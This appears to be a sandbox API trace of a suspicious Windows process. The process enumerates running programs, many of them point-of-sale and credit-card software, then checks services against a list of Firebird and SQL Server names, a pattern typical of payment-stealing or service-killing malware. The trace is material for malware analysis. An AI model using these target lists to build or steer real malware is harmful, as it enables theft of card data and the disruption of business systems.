	[0058.687] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0058.687] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0058.687] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0058.688] lstrlenW (lpString="active-charge.exe") returned 17
	[0058.688] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0058.689] lstrlenW (lpString="accupos.exe") returned 11
	[0058.689] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0058.690] lstrlenW (lpString="afr38.exe") returned 9
	[0058.690] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0058.690] lstrlenW (lpString="aldelo.exe") returned 10
	[0058.690] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0058.691] lstrlenW (lpString="ccv_server.exe") returned 14
	[0058.691] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0058.692] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0058.692] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0058.693] lstrlenW (lpString="creditservice.exe") returned 17
	[0058.693] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0058.693] lstrlenW (lpString="edcsvr.exe") returned 10
	[0058.693] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0058.694] lstrlenW (lpString="fpos.exe") returned 8
	[0058.694] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0058.695] lstrlenW (lpString="isspos.exe") returned 10
	[0058.695] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0058.695] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0058.695] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0058.696] lstrlenW (lpString="omnipos.exe") returned 11
	[0058.696] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0058.697] lstrlenW (lpString="spcwin.exe") returned 10
	[0058.697] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0058.697] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0058.697] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0058.712] lstrlenW (lpString="utg2.exe") returned 8
	[0058.719] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0058.728] lstrlenW (lpString="explicit.exe") returned 12
	[0058.728] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0058.729] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0058.729] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0058.729] lstrlenW (lpString="taskhostw.exe") returned 13
	[0058.729] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0058.730] lstrlenW (lpString="UsoClient.exe") returned 13
	[0058.730] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0058.731] lstrlenW (lpString="taskhostw.exe") returned 13
	[0058.731] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0058.731] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0058.731] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0058.732] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0058.732] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0058.732] lstrlenW (lpString="conhost.exe") returned 11
	[0058.732] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0058.733] lstrlenW (lpString="conhost.exe") returned 11
	[0058.733] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.734] lstrlenW (lpString="svchost.exe") returned 11
	[0058.734] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0058.734] lstrlenW (lpString="fvppjh.exe") returned 10
	[0058.734] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.735] lstrlenW (lpString="svchost.exe") returned 11
	[0058.735] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0058.735] lstrlenW (lpString="cmd.exe") returned 7
	[0058.735] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0058.736] lstrlenW (lpString="conhost.exe") returned 11
	[0058.736] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0058.737] CloseHandle (hObject=0x288) returned 1
	[0058.737] Sleep (dwMilliseconds=0x1f4) 
	[0060.409] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75e980
	[0060.409] EnumServicesStatusExW (in: hSCManager=0x75e980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0060.410] GetLastError () returned 0xea
	[0060.410] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ce8) returned 0x80fc88
	[0060.410] EnumServicesStatusExW (in: hSCManager=0x75e980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x80fc88, cbBufSize=0x1ce8, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x80fc88, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0060.411] CloseServiceHandle (hSCObject=0x75e980) returned 1
	[0060.411] lstrlenW (lpString="Appinfo") returned 7
	[0060.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0060.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0060.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0060.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0060.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0060.411] lstrlenW (lpString="AppXSvc") returned 7
	[0060.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0060.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0060.411] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0060.411] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0060.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0060.411] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0060.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0060.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0060.411] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0060.411] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0060.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0060.411] lstrlenW (lpString="Audiosrv") returned 8
	[0060.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0060.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0060.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0060.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0060.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0060.411] lstrlenW (lpString="BFE") returned 3
	[0060.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0060.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0060.411] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0060.412] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0060.412] lstrlenW (lpString="BITS") returned 4
	[0060.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0060.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0060.412] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0060.412] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0060.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0060.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0060.412] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0060.412] lstrlenW (lpString="CDPSvc") returned 6
	[0060.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0060.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0060.412] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0060.412] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0060.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0060.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0060.412] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0060.412] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0060.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0060.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0060.412] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0060.412] lstrlenW (lpString="CryptSvc") returned 8
	[0060.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0060.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0060.412] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0060.412] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0060.413] lstrlenW (lpString="DcomLaunch") returned 10
	[0060.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0060.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0060.413] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0060.413] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0060.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0060.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0060.413] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0060.413] lstrlenW (lpString="Dhcp") returned 4
	[0060.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0060.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0060.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0060.413] lstrlenW (lpString="Dnscache") returned 8
	[0060.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0060.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0060.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0060.413] lstrlenW (lpString="DoSvc") returned 5
	[0060.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0060.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0060.413] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0060.413] lstrlenW (lpString="DPS") returned 3
	[0060.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0060.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0060.413] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0060.413] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0060.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0060.414] lstrlenW (lpString="DusmSvc") returned 7
	[0060.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0060.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0060.414] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0060.414] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0060.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0060.414] lstrlenW (lpString="EventLog") returned 8
	[0060.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0060.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0060.414] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0060.414] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0060.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0060.414] lstrlenW (lpString="EventSystem") returned 11
	[0060.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0060.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0060.414] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0060.414] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0060.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0060.414] lstrlenW (lpString="FontCache") returned 9
	[0060.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0060.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0060.414] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0060.414] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0060.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0060.414] lstrlenW (lpString="gpsvc") returned 5
	[0060.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0060.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0060.414] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0060.414] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0060.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0060.414] lstrlenW (lpString="iphlpsvc") returned 8
	[0060.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0060.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0060.414] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0060.414] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0060.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0060.415] lstrlenW (lpString="KeyIso") returned 6
	[0060.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0060.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0060.415] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0060.415] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0060.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0060.415] lstrlenW (lpString="LanmanServer") returned 12
	[0060.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0060.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0060.415] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0060.415] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0060.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0060.415] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0060.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0060.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0060.415] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0060.415] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0060.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0060.415] lstrlenW (lpString="lfsvc") returned 5
	[0060.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0060.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0060.415] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0060.415] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0060.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0060.415] lstrlenW (lpString="lmhosts") returned 7
	[0060.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0060.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0060.415] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0060.415] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0060.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0060.415] lstrlenW (lpString="LSM") returned 3
